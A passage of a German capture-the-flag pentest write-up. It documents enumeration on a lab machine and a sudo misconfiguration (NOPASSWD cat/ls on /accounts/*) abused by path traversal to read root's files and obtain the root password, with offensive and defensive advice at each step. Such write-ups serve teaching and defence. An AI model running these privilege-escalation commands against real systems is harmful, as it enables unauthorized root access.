Bewertung: Die `ls -la`-Ausgabe ist identisch zur vorherigen. Der Versuch, `.bash_history` zu lesen, gibt einen Fehler zurück (implizit, da der Befehl fehlschlägt und `ls -la` erneut ausgeführt wird). Der Versuch, ein `.ssh`-Verzeichnis zu erstellen, schlägt mit "No space left on device" fehl. Dies ist eine wichtige Information: Das Dateisystem, auf dem sich Johns Home-Verzeichnis befindet, ist voll. Dies könnte weitere Aktionen einschränken.
Empfehlung (Offensiv): Nach anderen beschreibbaren Verzeichnissen suchen (z.B. `/tmp`, `/var/tmp`, `/dev/shm`). Den Grund für den vollen Speicherplatz untersuchen (könnte ein Log-File oder eine DoS-Attacke sein).
Empfehlung (Defensiv): Speicherplatz-Monitoring einrichten, um volle Dateisysteme zu erkennen und zu beheben. Sicherstellen, dass Benutzer keine Möglichkeit haben, durch exzessives Schreiben von Daten das System lahmzulegen (Quotas).

cd /home/john
ls -la
total 24
drwxr-x--- 2 john john 4096 Jun 20  2014 .
drwxr-xr-x 5 root root 4096 Jun 20  2014 ..
-rw------- 1 john john    7 Jun 20  2014 .bash_history
-rw-r--r-- 1 john john  220 Jun 20  2014 .bash_logout
-rw-r--r-- 1 john john 3437 Jun 20  2014 .bashrc
-rw-r--r-- 1 john john  675 Jun 20  2014 .profile
cat .bash_history
ls -la
mkdir .ssh
mkdir: cannot create directory `.ssh': No space left on device
id
uid=1000(john) gid=1000(john) groups=1000(john)

Analyse: Es wird geprüft, ob die zentrale Passwortdatei `/etc/passwd` für den Benutzer `john` schreibbar ist.
Bewertung: Die Berechtigungen (`-rw-r--r--`) zeigen, dass nur `root` Schreibzugriff hat. Dies ist die Standardkonfiguration und verhindert einfache Privilegieneskalation durch Manipulation dieser Datei.
Empfehlung (Offensiv): Nach anderen Fehlkonfigurationen suchen (SUID-Binaries, sudo-Regeln, Cronjobs, Kernel-Exploits).
Empfehlung (Defensiv): Regelmäßig die Berechtigungen kritischer Systemdateien überprüfen.

ls -la /etc/passwd
-rw-r--r-- 1 root root 1003 Jun 20  2014 /etc/passwd

Analyse: Der `find`-Befehl wird verwendet, um nach weltweit beschreibbaren Dateien und Verzeichnissen zu suchen, beginnend vom Root-Verzeichnis (`/`).

Bewertung: Die Ausgabe zeigt einige erwartete beschreibbare Orte wie `/tmp` und `/dev/shm`. Die Einträge unter `/proc/` sind prozessspezifische virtuelle Dateien und in der Regel nicht für dauerhafte Speicherung oder Exploits relevant. Es wurden keine ungewöhnlichen beschreibbaren Verzeichnisse gefunden, die für eine Privilegieneskalation direkt nützlich wären (abgesehen von `/tmp`, das aber oft mit `noexec` gemountet ist).
Empfehlung (Offensiv): Das `/tmp`-Verzeichnis genauer prüfen (Mount-Optionen, vorhandene Dateien). Suche nach SUID/GUID-Dateien (`find / -type f -perm /6000 2>/dev/null`) und prüfung der `sudo -l` Rechte.
Empfehlung (Defensiv): Sicherstellen, dass `/tmp` und andere temporäre Verzeichnisse mit sicheren Optionen wie `noexec`, `nosuid`, `nodev` gemountet sind. Die Anzahl weltweit beschreibbarer Verzeichnisse minimieren.

find / -writable 2>/dev/null
/tmp
/dev/log
/dev/shm
/proc/2941/fd/4
/proc/2941/sched
/proc/2941/autogroup
/proc/2941/comm
/proc/2941/mem
/proc/2941/clear_refs
/proc/2941/attr/current
/proc/2941/attr/exec
/proc/2941/attr/fscreate
/proc/2941/attr/keycreate
/proc/2941/attr/sockcreate
/proc/2941/oom_adj
/proc/2941/oom_score_adj
/proc/2941/loginuid
/proc/2941/coredump_filter

Analyse: Der Pentester versucht nun, sich per SSH als Benutzerin `sara` anzumelden, wiederum über den `proxytunnel` auf Port `1234`. Es wird direkt `/bin/bash` angefordert.
Bewertung: Es ist unklar, woher die Information über den Benutzer `sara` oder ihr Passwort stammt. Im vorherigen Text gab es keine Hinweise darauf. Möglicherweise wurde dies durch weitere Enumeration (z.B. Auslesen von `/etc/passwd`, was aber nicht gezeigt wurde) oder Raten herausgefunden. Direkt nach der Passwortabfrage erscheinen die Wörter `ihatethisjob` und `senseable`. Es ist wahrscheinlich, dass eines davon (oder eine Kombination) das Passwort ist. Der Login ist erfolgreich, `id` bestätigt `uid=1001(sara)`.
Annahme: Das Passwort für `sara` ist `ihatethisjob` oder `senseable`. Dies ist eine Lücke in der Dokumentation des Berichts.
Empfehlung (Offensiv): Die Rechte des Benutzers `sara` prüfen (`sudo -l`).
Empfehlung (Defensiv): Sicherstellen, dass alle Schritte im Pentest dokumentiert werden, einschließlich der Informationsgewinnung. Starke, einzigartige Passwörter für alle Benutzer erzwingen.

┌──(root㉿cycat)-[~]
└─# ssh sara@127.0.0.1 -p 1234 /bin/bash
sara@127.0.0.1's password: ***
id
uid=1001(sara) gid=1001(sara) groups=1001(sara)
ihatethisjob
senseable

Analyse: Als Benutzerin `sara` werden das aktuelle Verzeichnis (`pwd`), der Inhalt (`ls`, `ls -la`) geprüft und die `.bashrc`-Datei gelöscht.
Bewertung: `pwd` zeigt `/home/sara`. `ls -la` zeigt die Standard-Konfigurationsdateien. Das Löschen der `.bashrc` ist ungewöhnlich und der Grund dafür ist nicht sofort ersichtlich. Möglicherweise enthielt sie störende Aliase oder Funktionen, oder es war ein Versuch, Speicherplatz freizugeben (was aber unwahrscheinlich ist, da das Problem bei `john` lag). Der anschließende `ls -la` bestätigt das Fehlen der Datei.
Empfehlung (Offensiv): Den Hauptfokus auf die Privilegieneskalation legen (`sudo -l` prüfen).
Empfehlung (Defensiv): Überwachen von Dateiänderungen in Home-Verzeichnissen kann auf verdächtige Aktivitäten hinweisen.

pwd
/home/sara
ls
ls -la
total 20
drwxr-x--- 2 sara sara 4096 Jun 20  2014 .
drwxr-xr-x 5 root root 4096 Jun 20  2014 ..
-rw-r--r-- 1 sara sara  220 Jun 20  2014 .bash_logout
-rw-r--r-- 1 sara sara 3437 Jun 20  2014 .bashrc
-rw-r--r-- 1 sara sara  675 Jun 20  2014 .profile
rm .bashrc
ls -la
total 16
drwxr-x--- 2 sara sara 4096 Jul 15 19:53 .
drwxr-xr-x 5 root root 4096 Jun 20  2014 ..
-rw-r--r-- 1 sara sara  220 Jun 20  2014 .bash_logout
-rw-r--r-- 1 sara sara  675 Jun 20  2014 .profile

Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für die Benutzerin `sara` aufzulisten.
Bewertung: Dies ist ein entscheidender Fund! `sara` darf zwei Befehle als `root` ohne Passwort (`NOPASSWD`) ausführen:

Das bedeutet, `sara` kann den Inhalt aller Dateien im Verzeichnis `/accounts/` auflisten und lesen, und das als `root`. Der Stern (`*`) ist ein Wildcard-Zeichen.
Empfehlung (Offensiv): Diese `sudo`-Rechte ausnutzen. Prüfen, ob das Verzeichnis `/accounts/` existiert und welche Dateien es enthält. Versuchen, die Wildcard (`*`) und die Pfadangabe auszunutzen, um auf Dateien außerhalb von `/accounts/` zuzugreifen (Path Traversal).
Empfehlung (Defensiv): Das Prinzip der geringsten Rechte anwenden. Benutzern nur die `sudo`-Rechte geben, die sie unbedingt benötigen. Wildcards in `sudoers`-Regeln sind gefährlich und sollten vermieden oder sehr sorgfältig eingesetzt werden. Pfade sollten absolut und kanonisch sein. Die `NOPASSWD`-Option sollte nur in Ausnahmefällen verwendet werden. In diesem Fall sind die Berechtigungen viel zu weitreichend und unsicher konfiguriert.

sudo -l
Matching Defaults entries for sara on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User sara may run the following commands on this host:
    (root) NOPASSWD: /bin/cat /accounts/*
    (root) NOPASSWD: /bin/ls /accounts/*

Proof of Concept (Root Access via Sudo Abuse)

Schwachstelle: Unsichere `sudo`-Konfiguration für den Benutzer `sara`, die die Ausführung von `/bin/cat` und `/bin/ls` mit einer Wildcard (`*`) im Pfad `/accounts/*` als `root` ohne Passwort erlaubt.
Ziel des POC: Nachweis, dass diese `sudo`-Regel durch Path Traversal missbraucht werden kann, um beliebige Dateien auf dem System als `root` zu lesen und somit Root-Rechte zu erlangen.
Voraussetzungen: Zugriff auf das System als Benutzer `sara`.

Schritt 1: Versuch, die Regel direkt zu nutzen

Analyse: Der Pentester versucht, die `sudo`-Regel wie vorgesehen zu nutzen, um den Inhalt von `/accounts/` zu lesen.
Bewertung: Der Befehl `/bin/cat: /accounts/*: No such file or directory` zeigt, dass das Verzeichnis `/accounts/` entweder leer ist oder gar nicht existiert. Dies macht die Regel scheinbar nutzlos, aber die Wildcard ist der Schlüssel.
Empfehlung (Offensiv): Die Wildcard für Path Traversal nutzen.
Empfehlung (Defensiv): Nicht existente Pfade oder überflüssige Regeln aus der `sudoers`-Datei entfernen.

sudo -u root /bin/cat /accounts/*
/bin/cat: /accounts/*: No such file or directory

Schritt 2: Ausnutzung mit Path Traversal (ls)

Analyse: Der Pentester nutzt die Schwachstelle aus. Durch Anhängen von `/../` an den erlaubten Pfad `/accounts/` wird versucht, im Verzeichnisbaum eine Ebene nach oben zu wechseln. Das Ziel ist, den Inhalt des Root-Verzeichnisses (`/root`) aufzulisten: `sudo -u root /bin/ls /accounts/../root`. Da die `sudo`-Regel `/accounts/*` erlaubt, interpretiert die Shell (oder `sudo`) dies möglicherweise als gültig, bevor der Pfad aufgelöst wird.
Bewertung: Der Angriff ist erfolgreich! Der Befehl `ls` wird als `root` ausgeführt und listet den Inhalt von `/root` auf. Es wird eine Datei namens `flag.txt` gefunden.
Empfehlung (Offensiv): Den Inhalt von `flag.txt` mit dem `cat`-Befehl lesen.
Empfehlung (Defensiv): Wildcards in `sudoers` vermeiden. Wenn sie benötigt werden, sicherstellen, dass sie nicht für Path Traversal missbraucht werden können (z.B. durch Skripte, die den Pfad validieren, anstatt den Befehl direkt zu erlauben).

sudo -u root /bin/ls /accounts/../root
flag.txt

Schritt 3: Auslesen der Root-Flag und des Root-Passworts

Analyse: Mit der gleichen Path-Traversal-Technik wird nun versucht, den Inhalt der gefundenen `/root/flag.txt` mit dem erlaubten `cat`-Befehl zu lesen: `sudo -u root /bin/cat /accounts/../root/flag.txt`.
Bewertung: Volltreffer! Der Befehl funktioniert und gibt den Inhalt der Datei aus. Dieser enthält nicht nur eine Glückwunsch-Nachricht, sondern auch das Root-Passwort: `theskytower`.
Ergebnis des POC: Die unsichere `sudo`-Regel wurde erfolgreich mittels Path Traversal ausgenutzt, um beliebige Dateien als `root` zu lesen. Dies führte zur Offenlegung der Root-Flag und des Root-Passworts.
Risikobewertung: Kritisch. Die Schwachstelle ermöglichte die vollständige Kompromittierung des Systems durch Erlangen des Root-Passworts.
Empfehlung (Offensiv): Das Root-Passwort verwenden, um sich direkt als `root` per SSH anzumelden.
Empfehlung (Defensiv): Die unsichere `sudo`-Regel sofort entfernen oder korrigieren. Das Root-Passwort umgehend ändern. Überprüfen, ob andere `sudo`-Regeln ähnlich anfällig sind. Keine Passwörter oder sensiblen Flags in Klartextdateien speichern.

sudo -u root /bin/cat /accounts/../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower

Schritt 4: Erlangen einer Root-Shell

Analyse: Der Pentester verwendet das gerade erbeutete Root-Passwort (`theskytower`), um sich über den bestehenden `proxytunnel` direkt als `root`-Benutzer per SSH anzumelden und fordert `/bin/bash` an.
Bewertung: Der Login ist erfolgreich. Der `id`-Befehl bestätigt `uid=0(root)`. Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht und vollständige Kontrolle über das System.
Empfehlung (Offensiv): Persistenz einrichten (z.B. SSH-Keys hinzufügen), weitere Systeme im Netzwerk erkunden, finale Flags sammeln, Spuren verwischen (falls im Scope).
Empfehlung (Defensiv): Nach Abschluss des Pentests: Root-Passwort ändern, unsichere `sudo`-Regel entfernen, Proxy sichern, kompromittierte Benutzerkonten (john, sara) überprüfen/Passwörter ändern, System auf Backdoors oder weitere Kompromittierungen untersuchen, alle gefundenen Schwachstellen (SQLi, alte Software, offener Proxy, sudo-Fehlkonfiguration) beheben.

┌──(root㉿cycat)-[~]
└─# ssh root@127.0.0.1 -p 1234 /bin/bash
root@127.0.0.1's password: theskytower
id
uid=0(root) gid=0(root) groups=0(root)

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Flags

Die User-Flag (`user.txt`) wurde im Rahmen dieses dokumentierten Pfades nicht explizit gefunden oder ausgelesen.

sudo -u root /bin/cat /accounts/../root/flag.txt
Congratz, have a cold one to celebrate! root password is theskytower

Die Datei `/root/flag.txt` enthielt die obige Nachricht sowie das Root-Passwort, welches als finale Bestätigung der Kompromittierung dient.